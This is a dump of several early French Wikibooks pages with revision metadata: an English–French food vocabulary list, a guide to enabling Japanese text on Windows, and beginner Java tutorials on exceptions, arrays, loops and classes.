1115 12763 2004-11-25T14:32:01Z Ste281 126 Guide et tutoriel déplacé vers Guides et Tutoriels #REDIRECT [[Guides et Tutoriels]] Histoire 1116 46035 2006-06-27T18:16:50Z Guillaumito 46 restitution de la dernière modification de Esope == Ouvrages en préparation == * [[Histoire de l'Europe]] == Idées d'ouvrages == * '''Par zone géographique''' ** [[Histoire de l'Amérique]] *** [[Histoire du Canada]] *** [[Histoire des États-Unis d'Amérique]] *** ... ** [[Histoire de l'Asie]] *** [[Histoire du Japon]] *** [[Histoire de la Russie]] *** ... ** ... * '''Par thème''' ** [[Histoire des religions]] *** [[Histoire du christianisme]] *** [[Histoire du judaïsme]] *** ... ** [[Histoire des sciences]] *** [[Histoire des mathématiques]] *** ... ** ... Anglais : Food & Drink / Aliments et Boissons 1117 45264 2006-06-20T15:18:49Z 212.234.117.25 /* Drinks : ''les boissons'' */ Voici une liste de vocabulaire sur le thème de la nourriture. ''Comment apprendre les listes de vocabulaires ?'' <br />Imprimez cette page et apprennez les listes de vocabulaire chapitre par chapitre, en cachant alternativement la partie en français et la partie en anglais. Prenez votre temps et ne vous inquiétez pas même si vous avez du mal à tout retenir. <br />Enfin, mieux vaut réviser dix minutes par jour que deux heures une seule fois par semaine. <br /> == Général == {| |----- | the breakfast | ''le déjeuner'' |----- | the lunch / dinner | ''le dîner '' |----- | the supper | ''le souper'' |----- | '''to be''' hungry | ''avoir faim'' |----- | '''to be''' thirsty | ''avoir soif'' |} == General foodstuffs : ''Les produits d'alimentation''== {| border="0" |----- | fat | ''matière grasse'' |----- | low-fat | ''allégé'' |----- | wholefoods | ''aliments complets'' |----- | boiled egg | ''oeuf à la coque'' |----- | butter | ''beurre'' |----- | cheese | ''fromage'' |----- | cottage cheese | ''~ fromage blanc (granuleux)'' |----- | dairy produce | ''produits laitiers'' |----- | egg | ''oeuf'' |----- | fried egg | ''oeuf sur le plat'' |----- | margarine | ''margarine'' |----- | omelette | ''omelette'' |----- | poached egg | ''oeuf poché'' |----- | scrambled eggs | ''oeufs brouillés'' |----- | (semi-)skimmed milk | ''lait (demi-)écrémé'' |----- | yoghurt | ''yaourt'' |----- | bread | ''pain'' |----- | breakfast cereal | ''céréale'' |----- | brown/white bread | ''pain bis/blanc'' |----- | bun | ''petit pain au lait'' |----- | cereal(s) | ''céréale'' |----- | cornflakes | ''cornflakes'' |----- | flour | ''farine'' |----- | loaf (of bread) | ''pain'' |----- | muesli | ''muesli'' |----- | pancake | ''crêpe'' |----- | pasta | ''pâtes'' |----- | porridge | ''porridge'' |----- | rice | ''riz'' |----- | roll | ''petit pain'' |----- | sandwich | ''sandwich (de pain de mie)'' |----- | scone | ''sorte de pain au lait'' |----- | sliced bread | ''pain en tranches'' |----- | soup | ''soupe ; potage'' |----- | toast | ''pain grillé'' |----- | wholemeal bread | ''pain complet'' |----- | biscuit | ''biscuit'' |----- | cake | ''gâteau'' |----- | chewing gum | ''chewing-gum'' |----- | chocolate | ''chocolate'' |----- | crisps | ''chips'' |----- | honey | ''miel'' |----- | jam | ''confiture'' |----- | marmalade | ''confiture d'orange'' |----- | pastry | ''pâtisserie'' |----- | pastry | ''pâte'' |----- | pie | ''tourte ; tarte'' |----- | to spread | ''étaler'' |----- | sugar | ''sucre'' |----- | sweet | ''bonbon'' |----- | a bag/packet of crisps | ''un paquet de chips'' |----- | a bar of chocolate | ''une tablette de chocolat'' |----- | a box of chocolate | ''une boîte de chocolat'' |----- | a jar of jam | ''un pot de confiture'' |----- | a packet of biscuit'' | ''un paquet de biscuit'' |----- | a tin of soup/sardines | ''une boîte de soupe/sardines'' |----- | a can of soup/sardines | ''une boîte de soupe/sardines'' |} == Meat : ''la viande'' == {| border="0" |----- | bacon | ''bacon'' |----- | bacon and eggs | ''oeufs au lard'' |----- | beef | ''boeuf'' |----- | chicken | ''poulet'' |----- | chicken breast | ''blanc de poulet'' |----- | chop | ''côtelette'' |----- | cold/cooked meat | ''viande froide/cuite'' |----- | corned beef | ''corned-beef'' |----- | cutlet | ''côtelette'' |----- | duck | ''canard'' |----- | game | ''gibier'' |----- | goose | ''oie'' |----- | gravy | ''sauce (au jus de viande) |----- | ham | ''jambon'' |----- | [ Bayonne ham | ''jambon de Bayonne'' |----- | boiled ham | ''jambon blanc'' |----- | knucle of ham | ''jambonneau'' |----- | Parma ham | ''jambon de Parme'' |----- | smoked ham | ''jambon fumé'' ] |----- | kidneys | ''rognons'' |----- | lamb | ''agneau'' |----- | liver | ''foie'' |----- | meat | ''viande'' |----- | [ white meat | ''viande blanche'' |----- | red meat | ''viande rouge'' |----- | minced meat | ''viande hachée'' ] |----- | mutton | ''mouton'' |----- | pork | ''porc'' |----- | rabbit | ''lapin'' |----- | rare/medium/well-done | ''saignant/à point/bien cuit'' |----- | sausage | ''saucisse'' |----- | sheep | ''mouton'' |----- | steak | ''bifteck'' |----- | steak and kidney pie | ''tourte à la viande de boeuf et aux rognons'' |----- | stew | ''ragoût'' |----- | turkey | ''dinde'' |----- | veal | ''veau'' |----- | venison | ''gibier'' |----- |} <br /> == Fish & seafood : ''Poissons et fruits de mer == {| border="0" |----- | cod | ''cabillaud'' |----- | crab | ''crabe'' |----- | fish | ''poisson'' |----- | fish and chips | ''poisson frit avec des frites'' |----- | fish fingers | ''bâtonnets de poisson'' |----- | haddock | ''églefin'' |----- | herring | ''hareng'' |----- | kipper | ''hareng fumé et salé'' |----- | lobster | ''homard'' |----- | mackerel | ''maquereau'' |----- | mussels | ''moules'' |----- | octopus | ''pieuvre'' |----- | oysters | ''huîtres'' |----- | plaice | ''carrelet'' |----- | prawn | ''crevette (rose)'' |----- | salmon | ''saumon'' |----- | sardine | ''sardine'' |----- | scampi | ''langoustines frites'' |----- | shellifish | ''crustacés'' |----- | shrimp | ''crevette'' |----- | smoked fish | ''poisson fumé'' |----- | sole | ''sole'' |----- | squid | ''calamar'' |----- | trout | ''truite'' |----- | tuna (fish) | ''thon'' |----- | whiting | ''merlan'' |----- |} == Dairy products : ''les produits laitiers'' == {| border="0" |----- | butter | ''beurre'' |----- | cheese | ''fromage'' |----- | milk | ''lait'' |----- | yogurt | ''yogourt / yaourt'' |----- |} == Fruits et légumes == === Fruit & Nuts : ''Fruits et noix''=== {| |----- | apple | ''pomme'' |----- | apricot | ''abricot'' |----- | avocado (pear) | ''avocat'' |----- | banana | ''banane'' |----- | blackcurrant | ''cassis'' |----- | blueberry | ''bleuet / myrthille'' |----- | cherry | ''cerise'' |----- | fig | ''figue'' |----- | fruit | ''fruit'' |----- | grape | ''raisin'' |----- | grapefruit | ''pamplemousse'' |----- | kiwi fruit | ''kiwi'' |----- | lemon | ''citron'' |----- | mango | ''mangue'' |----- | melon | ''melon'' |----- | orange | ''orange'' |----- | peach | ''pêche'' |----- | pear | ''poire'' |----- | pineapple | ''ananas'' |----- | raisin | ''raisin sec'' |----- | raspberry | ''framboise'' |----- | strawberry | ''fraise'' |----- | tangerine | ''mandarine'' |----- | tomato | ''tomate'' |----- | watermelon | ''pastèque'' |----- | a bunch of grapes | ''une grappe de raisins'' |----- | (a piece of) fruit | ''(un) fruit'' |----- | almond | ''amande'' |----- | hazelnut | ''noisette'' |----- | nut | ''noix'' |----- | peanut | ''cacahuète'' |----- | walnut | ''noix'' |----- |} === Vegetables : ''Les Légumes''=== {| border="0" | artichoke | ''artichaut'' |----- | asparagus | ''asperge'' |----- | baked beans | ''haricots blancs à la sauce tomate'' |----- | baked potatoes | ''pommes de terre au four'' |----- | beans | ''haricots'' |----- | beetroot | ''betterave'' |----- | broccoli | ''brocoli'' |----- | brussels sprouts | ''choux de Bruxelles'' |----- | cabbage | ''chou'' |----- | carrot | ''carotte'' |----- | cauliflower | ''chou-fleur'' |----- | cauliflower cheese | ''gratin de chou-fleur'' |----- | celery | ''céleri'' |----- | chips (''Am'' : French fries) | ''frites'' |----- | corn-on-the-cob | ''épi de maïs'' |----- | cucumber | ''concombre'' |----- | eggplant | ''aubergine'' |----- | gourd | ''courge'' |----- | green beans | ''haricots verts'' |----- | green/red pepper | ''poivron vert/rouge'' |----- | jacket potatoes | ''pommes de terre en robe des champs'' |----- | kidney beans | ''haricots rouges'' |----- | leek | ''poireau'' |----- | lentils | ''lentilles'' |----- | lettuce | ''laitue'' |----- | mashed potatoes | ''purée de pomme de terre'' |----- | mushroom | ''champignon'' |----- | onion | ''oignon'' |----- | organic vegetables | ''légumes biologiques'' |----- | peas | ''petit pois'' |----- | potato | ''pomme de terre'' |----- | radish | ''radis'' |----- | roast potatoes | ''pommes de terre rôties'' |----- | salad | ''salade'' |----- | spinach | ''épinards'' |----- | spring onion | ''oignion blanc'' |----- | tomato | ''tomate'' |----- | turnip | ''navet'' |----- | vegetable ''(adj)'' | ''de légumes'' |----- |} == Drinks : ''les boissons'' == {| |----- | alcohol | ''alcool'' |----- | alcoholic | ''alcoolisé'' |----- |apple juice |''jus de pommes'' |----- | bar | ''bar'' |----- | beer | ''bière'' |----- | bottle | ''bouteille'' |----- | brandy | ''cognac'' |----- | champagne | ''champagne'' |----- | cider | ''cidre'' |----- | cocktail | ''cocktail'' |----- | coffee | ''café'' |----- | Coke | ''Coca'' |----- | drink | ''boisson'' |----- | to drink | ''boire'' |----- | dry | ''sec ; brut'' |----- | to fill | ''remplir'' |----- | fizzy | ''pétillant ; gazeux'' |----- | fruit juice | ''jus de fruit'' |----- | gin | ''gin'' |----- | glass | ''verre'' |----- |grape juice |''jus de raisins'' |----- | ground/instant coffee | ''café moulu/soluble'' |----- | herb tea | ''infusion'' |----- | hot chocolate | ''chocolat chaud'' |----- | ice cube | ''glaçon'' |----- | juice | ''jus'' |----- | lemonade | ''limonade ; boisson gazeuse'' |----- | liqueur | ''liqueur'' |----- | milk | ''lait'' |----- | mineral water | ''eau minerale'' |----- | non-alcoholic | ''non alcoolisé'' |----- | orange juice | ''jus d'orange'' |----- | orange squash | ''orangeade'' |----- | port | ''porto'' |----- | to pour | ''verser'' |----- | refreshments | ''rafraîchissements'' |----- | rum | ''rhum'' |----- | sherry | ''sherry'' |----- | soft drink | ''boisson non alcoolisée'' |----- | sparkling wine | ''vin mousseux'' |----- | spirit | ''alcool fort'' |----- | sweet | ''doux'' |----- | table wine | ''vin de table'' |----- | tea (whith milk/lemon) | ''thé (au lait/au citron)'' |----- | tonic water | ''Schweppes'' |----- | tray | ''plateau'' |----- | vodka | ''vodka'' |----- | whisky | ''whisky'' |----- | wine bar | ''bar'' |----- | to be thirsty | ''avoir soif'' |----- | a pint of beer | ''~ une pinte de bière'' |----- | a can of Coke | ''un Coca (en boîte)'' |----- |black/white coffee |''café noir/café au lait'' |----- |red/rosé/white wine |''vin rouge/rosé/blanc |----- |burgundy |''du bourgogne'' |----- |} == Dessert : ''le dessert'' == {| border="0" |----- | apple pie | ''tarte aux pommes'' |----- | cheesecake | ''gâteau au fromage blanc'' |----- | cookie | ''biscuit'' |----- | cream | ''crème'' |----- | custard | ''crème anglaise'' |----- | dessert | ''dessert'' |----- | donut | ''beignet'' |----- | fresh cream | ''crème fraîche'' |----- | ice cream | ''glace'' |----- | jelly | ''gelée'' |----- | pie | ''tarte'' |----- | pudding | ''pudding'' |----- | sweet | ''dessert'' |----- | tart | ''tarte'' |----- | whipped cream | ''crème fouettée ; Chantilly'' |----- |} == Seasonings : ''Epices et ingrédients'' == {| border="0" |----- | cooking oil | ''huile'' |----- | curry | ''curry'' |----- | to flavour (with) | ''aromatiser (avec)'' |----- | garlic | ''ail'' |----- | herbs | ''fines herbes'' |----- | mayonnaise | ''mayonnaise'' |----- | mint | ''menthe'' |----- | mustard | ''moutarde'' |----- | oil | ''huile'' |----- | olive oil | ''huile d'olive'' |----- | parsley | ''persil'' |----- | pepper | ''poivre'' |----- | pickled onions | ''oignons macérés dans du vinaigre'' |----- | salad dressing | ''vinaigrette'' |----- | salt | ''sel'' |----- | sauce | ''sauce'' |----- | to season (with) | assaisonner (avec) |----- | seasoning | ''assaisonnement'' |----- | spices | ''épices'' |----- | sunflower oil | ''huile de tournesol'' |----- | tomato ketchup | ''ketchup'' |----- | vinegar | ''vinaigre'' |----- |} == Application == [[Anglais:La_nourriture_test|Test de vocabulaire]] <br /> Retour [[Enseignement de l'anglais]] MigrationNTLinux 1121 12769 2004-11-26T07:47:51Z Yann 2 MigrationNTLinux déplacé vers Migration Windows NT vers Linux #REDIRECT [[Migration Windows NT vers Linux]] Image:Gtk.png 1122 12770 2004-11-26T07:56:32Z Yann 2 Logo Gtk Logo Gtk Image:Qt logo.jpg 1123 12771 2004-11-26T07:59:14Z Yann 2 Logo QT provenant de www.trolltech.com. Utilisé en vertu du Fair Use. Tous droits réservés. Logo QT provenant de www.trolltech.com. Utilisé en vertu du Fair Use. Tous droits réservés. Programmation Java Classes de base 1125 41647 2006-05-05T15:02:30Z Qapoka 1473 {{Programmation Java}} == Package java.lang == Le package de base de Java. Il n'est même pas nécessaire de faire un ''import'' de ce package : il est implicite. == Package java.io == == Package java.nio == == Package java.text == == Package java.util == == Package java.net == == Package java.awt == Les classes graphiques de base. Bien que beaucoup plus rapide, il tend a etre remplace par swing, bien plus fourni == Package javax.swing == Un package de classe graphique tres fourni Programmation Java Exceptions 1126 42993 2006-05-22T13:35:45Z Cpb 1553 typo {{Programmation Java}} Une '''exception''' est un signal qui se déclenche en cas de problème. Les exceptions permettent de gérer les cas d'erreur et de rétablir une situation stable (ce qui veut dire, dans certains cas, quitter l'application proprement). La gestion des exceptions se décompose en deux phases : *La levée d'exceptions *Le traitement d'exceptions. En Java, une exception est représentée par une classe. Toutes les exceptions dérivent de la classe ''Exception'' qui dérive de la classe ''Throwable''. ==Levée d'exception== Une exception est levée grâce à l'instruction ''throw'' : <tt> if (k<0) throw new EstNegatifException("Message"); </tt> Une exception peut être traitée directement par la méthode dans laquelle elle est levée, mais elle peut également être envoyée à la méthode appelante grâce à l'instruction ''throws'' (à ne pas confondre avec ''throw'') : <tt> public void maMethode(int entier) throws IOException { //code de la methode } </tt> Dans cet exemple, si une exception de type ''IOException'' est levée durant l'exécution de ''maMethode'', l'exception sera envoyée à la méthode appellant ''maMethode'', qui devra la traiter. ==Traitement d'exception== Le traitement des exceptions se fait à l'aide de la séquence d'instructions ''try...catch...finally''. *L'instruction ''try'' indique une instruction (ou plus généralement un bloc d'instructions) susceptible de lever des exceptions débute. *L'instruction ''catch'' indique le traitement pour un type particulier d'exceptions. *L'instruction ''finally'', qui est optionnelle, sert à définir un bloc de code à exécuter dans tous les cas, si une exception est levée. Exemple : <tt> public String lire(String nomDeFichier) throws FileNoFoundException<br /> try<br /> { FileReader lecteur = new FileReader(nomDeFichier); // Cette ligne est susceptible de lever une exception de type FileNoFoundException char[] buf = new char[100]; lecteur.read(buf,0,100); // Cette ligne est susceptible de lever une exception de type IOException return new String(buf); }<br /> catch (IOException ioe)<br /> { ioe.printStackTrace(); // Indique l'exception sur le flux d'erreur standard }<br /> finally<br /> { System.err.println("Une exception s'est produite"); //affichage sur le flux d'erreur standard } </tt> Dans cet exemple, si une exception de type ''FileNoFoundException'' se produit, elle sera simplement transmise à la méthode qui a appelé ''lire''. Cette dernière devra donc soit la traiter avec un bloc ''catch'', soit la transmettre encore au moyen d'un ''throws''. Par contre, si une ''IOException'' se produit, les blocs ''catch (IOException ioe)'' et ''finally'' seront executés. Programmation Java Transtypage 1127 33827 2006-02-21T15:46:29Z Merrheim 1032 {{Programmation Java}} Le '''transtypage''' (ou ''cast'') est la conversion d'un objet d'une classe en une autre classe. ===Transtypage et type de base=== ===Transtypage implicite=== ===Transtypage explicite=== LSF/Dialogues simples 1128 12775 2005-01-23T18:04:19Z Kowey 113 <!-- fr: bonjour j'aimerais apprendre la LSF<br> lsf (gloss): BONJOUR, LSF APPRENDRE VOULOIR<br> lsf (video): --> Programmation Java Types de base 1130 37493 2006-03-13T23:30:25Z Johngeek 1252 {{Programmation Java}} Les types de base de [[Programmation Java|Java]] sont (entre parenthèses, la taille de l'empreinte mémoire du type) : *<tt>char</tt> (2 octets), destiné à représenter des caractères au format Unicode . Valeur entre 0 et 65535 (soit \u0000 à \uffff) *<tt>byte</tt> (1 octet), un octet. Valeur entre -128 et 127. *<tt>short</tt> (2 octets), un entier court. Valeur entre -32768 et 32767. *<tt>int</tt> (4 octets), l'entier le plus courrament utilisé. Valeur entre -2147483648 et 2147483647. *<tt>long</tt> (8 octets), un entier long. Valeur entre -9223372036854775808 et 9223372036854775807. *<tt>float</tt> (4 octets), nombre à virgule flottante simple précision. *<tt>double</tt> (8 octets), nombre à virgule flottante double précision. *<tt>boolean</tt> (1 bit), permettant de représenter une valeur logique (vrai/faux). == Les classes wrappers == *<tt>Character</tt> pour <tt>char</tt> *<tt>Byte</tt> pour <tt>byte</tt> *<tt>Short</tt> pour <tt>short</tt> *<tt>Long</tt> pour <tt>long</tt> *<tt>Integer</tt> pour <tt>int</tt> *<tt>Float</tt> pour <tt>float</tt> *<tt>Double</tt> pour <tt>double</tt> *<tt>Boolean</tt> pour <tt>boolean</tt> Programmation Java Conditions 1131 37494 2006-03-13T23:36:44Z Johngeek 1252 /* Instructions if...else */ {{Programmation Java}} En [[Programmation Java|Java]], les séquences d'instructions ''if...else'' et ''switch..case'' permettent de formuler des traitements conditionnel. ===Instructions if...else=== L'instruction ''if'' permet d'exécuter une instruction (ou un bloc d'instruction) si une condition est remplie : <pre> if (condition) // instruction à executer </pre> L'instruction ''else'' complète l'instruction ''if''. Elle permet d'exécuter une instruction si la condition indiquée par le ''if'' n'est pas remplie : <pre> if (condition) // instruction à exécuter else // instruction à exécuter si la condition n'est pas remplie </pre> Notons que si l'on souhaite executer plusieurs instructions à l'intérieur d'un ''if'', il est nécessaire de placer ces instructions entre '''accolades'''.C'est cette suit d'instructions qui est appellées un ''bloc''. <pre> if (condition) { instruction1...; instruction2...; ... instructionN...; } </pre> On peut aussi enchainer les tests conditionnels les uns à la suite des autres : <pre> if (condition1) { // bloc1 } else if (condition2) { // bloc2 } else { // bloc3 } </pre> ===Instructions switch...case=== La séquence d'instructions ''switch'' permet d'exécuter différentes instructions (ou blocs d'instructions) en fonction d'une liste de cas. L'instruction ''default'' permet de définir un cas par défaut. <pre> switch (variable) { case valeur1: // instruction à executer break; case valeur2: // instruction à executer break; default: // instruction à executer break; } </pre> L'instruction ''break'' sert à sortir du test. Pour plus de précision, voir la section suivante (itération). Remarque : le ''break'' de la clause ''default'' est facultatif. '''Attention''' : L'instruction ''switch'' ne fonctionne que sur des types simples (int, short, char ou byte) ! Lire et écrire le japonais sous Windows 1132 41778 2006-05-08T00:16:12Z 134.212.178.10 /* Windows 2000/XP */ ortho === Windows 95/Windows 98/Windows Me === Ces versions de Windows ne supportent malheureusement pas [[w:Unicode|Unicode]], et seules les éditions japonaises sont capables de gérer du texte japonais. Cependant, certains logiciels comme [[w:Microsoft Internet Explorer|Microsoft Internet Explorer]] ou [[w:Microsoft Office|Microsoft Office]] sont compatibles Unicode. Pour Internet Explorer, la prise en charge du japonais est possible en téléchargeant et installant un composant optionnel. === Windows 2000/XP === Les versions européennes ont par défaut le support Unicode. Lire et écrire le japonais est donc une simple question de configuration. Procédure à suivre pour pouvoir lire le japonais : * aller dans le Panneau de configuration * ouvrir la rubrique 'Options régionales' * Windows 2000 : ** dans l'onglet 'Général', cocher 'Japonais' dans la liste 'Paramètres de langue pour le système' * Windows XP : ** dans l'onglet 'Langues', cocher la case 'Installer les fichiers pour les langues d'Extrème-Orient' * il est possible qu'il vous faille insérer le CDRom d'installation afin que le système puisse copier des fichiers Afin de pouvoir écrire en japonais, il faut également : * Windows 2000 : ** aller dans l'onglet 'Paramètres régionaux d'entrée' * Windows XP : ** cliquer sur le bouton 'Détails' de longlet 'Langues' * cliquer sur 'Ajouter' * dans la boîte de dialogue qui apparaît, choisir 'Japonais' dans la liste du haut, et 'Système de saisie japonais (MS-IME 2000)'(Windows 2000) ou 'Microsoft IME Standard 2002'(Windows XP) dans celle du bas * cliquer sur 'Ok' * cliquer sur 'Ok' pour fermer la boîte d'options régionales Note : il est possible qu'il faille redémarrer le système pour que le support soit entièrement installé. == Liens externes == http://windowsupdate.microsoft.com/ pour télécharger le module de prise en charge du japonais dans Internet Explorer. Programmation Java Itérations 1133 42281 2006-05-14T14:41:58Z Jthoorens 1526 {{Programmation Java}} [[Programmation Java|Java]] offre deux instructions permettant de réaliser des traitements itératifs : ''while'', ''for''. De plus les instructions ''break'' et ''continue'' permettent d'altérer le déroulement des boucles. ===Instruction while=== L'instruction ''while'' continue d'exécuter le traitement situé dans la boucle tant que la condition indiquée est vérifiée : <pre> while (condition) { // instructions à exécuter } </pre> Une autre forme du ''while' évalue la condition à la fin de chaque cycle, plutôt qu'au début : <pre> do { // instructions à exécuter } while (condition) </pre> ===Instruction for=== L'instruction ''for'' permet d'exécuter un traitement de manière répétitive, mais en spécifiant différemment la condition d'arrêt. À l'intérieur des parenthèses se trouvent trois blocs d'instructions séparés par un point-virgule. L'exécution de la boucle ''for'' commence par exécuter le premier bloc, qui sert généralement à initialiser une variable. Ensuite le second bloc est éxécuté (la condition). Si la condition retourne la valeur booléenne ''true'', le corps de la boucle 'for' est exécuté (le bloc d'instruction entre accolade). Sinon l'exécution de la boucle ''for'' se termine. Si le corps de la boucle a été exécuté, le processus recommence : la condition est évaluée, etc. Voici un exemple typique d'une boucle ''for'' qui défini un compteur pour exécuter la boucle ''i'' fois. En d'autres termes, le traitement est effectué tant que le compteur n'a pas atteint une limite : <pre> for (int i = 0; i < limite; i = i + increment) { // instructions à exécuter } </pre> ====Nouveauté J2SE 1.5 : boucle "foreach" ==== Java 1.5 propose une nouvelle syntaxe pour la boucle <i>for</i>, parfois appelée "for-each": elle demande la déclaration d'une variable qui prendra ses valeurs successives dans un tableau ou dans un objet "itérable" (par exemple une collection). <pre> // Parcours d'un tableau int[] tableau; for (int a : tableau) { // traitement impliquant a } </pre> [http://fr.wikibooks.org/wiki/Programmation_Java_Tableaux#Les_tableaux_en_Java_1.5 Les tableaux en Java 1.5] La même syntaxe sert pour les collections (ici j'utilise une collection générique contenant des instances de la classes ObjetX). <pre> // Parcours d'une collection Collection<ObjetX> collection = ......; for(ObjetX objetX : collection){ objetX.methodeY(p1,p2); } </pre> [http://fr.wikibooks.org/w/index.php?title=Programmation_Java_Collections Les collections] ===Instruction break=== L'instruction ''break'' permet de sortir immédiatement de la boucle, c'est-à-dire de sauter immédiatement à la première instruction qui suit la boucle. L'utiliser pour cela n'est pas de la bonne programmation. Il vaut donc mieux l'éviter. De plus, son utilisation rend le programme plus difficile à déboguer. ===Instruction continue=== L'instruction ''continue'' permet de ne pas exécuter le reste de l'itération en cours, c'est-à-dire de sauter immédiatement à une nouvelle évaluation de la condition. De même que pour ''break'', utiliser ''continue'' n'est pas de la bonne programmation. Il vaut donc mieux l'éviter. De plus, son utilisation rend le programme plus difficile à déboguer. Programmation Java Tableaux 1134 42892 2006-05-20T18:03:12Z 87.89.92.15 /* Longueur d'un tableau */ {{Programmation Java}} Un tableau est un ensemble indexé de données d'un même type. L'utilisation d'un tableau se décompose en trois parties : *Création du tableau *Remplissage du tableau *Lecture du tableau == Création d'un tableau == Un tableau se déclare et s'instancie comme une classe : <tt> int monTableau[] = new int[10]; </tt> ou <tt> int [] monTableau = new int[10]; </tt> L'opérateur [] pemet d'indiquer qu'on est en train de déclarer un tableau. Dans l'instruction précédente, on déclare un tableau d'entiers (integer) de taille 10, c'est à dire qu'on pourra stocker dix entiers dans ce tableau. Si [] suit le type, toutes les variables déclarées seront des tableaux, alors que si [] suit le nom de la variable, seule celle-ci est un tableau : <tt> int [] premierTableau, deuxiemeTableau;<br /> float troisiemeTableau[], variable; </tt> Dans ces quatre déclarations, seul ''variable'' n'est pas un tableau. == Remplissage d'un tableau == Une fois le tableau déclaré et instancié, on peut le remplir : <tt> int [] monTableau = new int[10]; monTableau[5] = 23; </tt> L'indexation se fait à partir de 0, ce qui veut dire que, pour un tableau de N éléments, la numérotation va de 0 à N-1. Dans l'exemple ci-dessus, la 6<sup>ème</sup> case contient donc la valeur 23. On peut également créer un tableau en énumérant son contenu : <tt> int [] monTableau = {5,8,6,0,7}; </tt> Ce tableau contient 5 éléments. == Lecture d'un tableau == Pour réutiliser les valeurs contenues dans un tableau : <tt> int [] monTableau = new int[10];<br /> int nb; monTableau[5] = 23;<br /> nb = monTableau[5]; </tt> Dans cet exemple, ''nb'' contiendra la valeur 23 : ). == Longueur d'un tableau == Un moyen simple de connaitre la longueur d'un tableau est de faire appel à la propriété (ou attribut) ''length'' du tableau. <pre> int[] monTableau = new int[10]; . . . . int longueur = monTableau.length; </pre> Ceci est particulièrement utile lorsque l'on veut parcourir les éléments d'un tableau <pre> for (int i = 0; i < monTableau.length; i++) { int element = monTableau[i]; // traitement } </pre> == Les tableaux en Java 1.5 == La section précédente montre comment parcourir un tableau. Java 1.5 fournit un moyen plus simple. L'exemple suivant réalise le traitement sur monTableau: <pre> for (int element : monTableau){ // traitement } </pre> Attention néanmoins, la variable <tt>element</tt> contient une copie de <tt>monTableau[i]</tt>. Avec des tableaux contenant des variables primitives, toute modification de <tt>element</tt> n'aura aucun effet sur le contenu du tableau <pre> // Vaine tentative de remplir toutes les éléments du tableau avec la valeur 10 for (int element : monTableau){ element=10; } // La bonne méthode: for(int i=0; i < monTableau.length; i++){ monTableau[i]=10; } </pre> == Tableaux à plusieurs dimensions == == La classe Arrays == Programmation Java Les classes en Java 1135 42985 2006-05-22T11:02:25Z Cpb 1553 typo {{Programmation Java}} La notion de classe constitue le fondement de la programmation orientée objet. En [[Programmation Java|Java]], les classes sont définies à l'aide de l'instruction ''class''. Exemple : <pre> public class maClasse { // contenu de la classe } </pre> Le code source définissant une classe doit obligatoirement être sauvegardé dans un fichier portant le même nom que la classe qu'il contient suivi de l'extension ''.java'' . Dans l'exemple ci-dessus, il faudrait donc sauver notre classe dans un fichier nommé ''maClasse.java''. La définition d'une classe peut être précédée de plusieurs déclaration d'''import'' qui indique à la JVM quels fichiers seront nécessaires pour l'éxecution du code de la classe. Exemple : <pre> // Nous voulons utiliser la classe Vector // (tableaux dont la taille peut varier dynamiquement) import java.util.Vector; public class maClasse { // contenu de la classe } </pre> Enfin, la définition d'une classe peut aussi être précédée d'une (et une seule) déclaration de ''package'', qui indique à quel emplacement se trouve le fichier de la classe dans notre projet Java. Par exemple, si la racine de notre projet Java se trouve être le répertoire /home/user/monProjet/ (ou c:\Mes documents\monProjet\ sous Windows) et que notre classe se trouve dans le sous répertoire org/classes/ (soit, respectivement /home/user/monProjet/org/classes/ et c:\Mes documents\monProjet\org\classes\) nous aurons une déclaration du package de la forme : <pre> import java.util.Vector; package org.classes; public class maClasse { // contenu de la classe } </pre> Programmation Java Membres 1136 18358 2005-08-02T23:42:15Z Pfv2 445 {{Programmation Java}} Les membres d'une classe sont les méthodes (traitements) et attributs (données) qui en font partie. Exemple : <pre> public class Horloge { // Attributs private int heures; private int minutes; private int secondes; //Methodes public void incrementeHeure() { secondes++; if (secondes==60) { secondes=0; minutes++; if (minutes==60) { minutes=0; heures++; if (heures==24) { heures=0; } } } } protected void afficheHeure() { System.out.println("Il est "+heures+":"+minutes+":"+secondes); } } </pre> Dans cet exemple, la classe ''Horloge'' contient 3 attributs servant à représenter l'heure (''heures'', ''minutes'' et ''secondes'') et deux méthodes (''incrementeHeure'', qui augmente l'heure d'une seconde, et ''afficheHeure'', qui affiche l'heure). Programmation Java Instanciation et cycle de vie 1137 29207 2006-01-17T20:29:55Z Ner0lph 1058 /* Les constructeurs */ Mise en forme du code {{Programmation Java}} == Les constructeurs == Un constructeur est une méthode particulière de la classe appelée lors de la création d'une instance de la classe. Un constructeur a le même nom que sa classe et n'a pas de valeur de retour. Dans l'exemple suivant la classe ''MaClasse'' dispose de deux constructeurs, l'un ne prenant aucun paramètre et l'autre prenant un paramètre de type ''String'' : <pre> public class MaClasse { // Attributs private String name; // Constructeurs public MaClasse() { name = "defaut"; } public MaClasse(String s) { name = s; } } </pre> Toute classe possède un constructeur. Cependant, il n'est pas obligatoire de déclarer un constructeur pour une classe. En effet, si aucun constructeur n'est déclaré dans une classe, un constructeur est ajouté de manière implicite. == L'instruction ''new'' == L'instruction ''new'' permet d'instancier une classe en utilisant l'un des constructeurs de la classe. Par exemple pour créer un objet de type ''MaClasse'', on écrira : <tt> MaClasse cl = new MaClasse("hello"); </tt> Programmation Java this 1138 44456 2006-06-12T21:09:39Z 83.203.222.237 {{Programmation Java}} Le mot-clé ''this'' désigne, dans une classe, l'instance courante de la classe elle-même. Il est utilisé pour rendre le code explicite et non ambigu. Par exemple, si dans une méthode, on a un paramètre ayant le même nom qu'un attribut de la classe dont la méthode fait partie, on pourra désigner explicitement l'attribut grâce à ''this'' : <pre> public class Calculateur { protected int valeur; public void calcule(int valeur) { this.valeur = this.valeur + valeur; } } </pre> Dans cet exemple, la méthode ''calcule'' additionne le paramètre ''valeur'' à l'attribut ''valeur'' et stocke le résultat dans l'attribut ''valeur''. L'attribut a été désigné explicitement par le mot-clé ''this'' suivi du nom de l'attribut. Programmation Java Encapsulation 1139 44457 2006-06-12T21:18:53Z 83.203.222.237 /* Comportement par défaut */ {{Programmation Java}} ''Encapsulation'' En [[Programmation Java|Java]], comme dans beaucoup de [[Programmation orientée objet|langages orientés objet]], les classes, les attributs et les méthodes bénéficient de niveaux d'accessibilité, qui indiquent dans quelles circonstances on peut accéder à ces éléments. Ces niveaux sont au nombre de 4, correspondant à 3 mots-clés utilisés comme modificateurs : ''private'', ''protected'' et ''public''. La quatrième possibilité est de ne pas spécifier de modificateur (comportement par défaut). === Comportement par défaut === Si aucun modificateur n'est indiqué, l'élément ne sera accessible que depuis les classes faisant parties du même ''package''. Exemple : package com.moimeme.temps; class Horloge 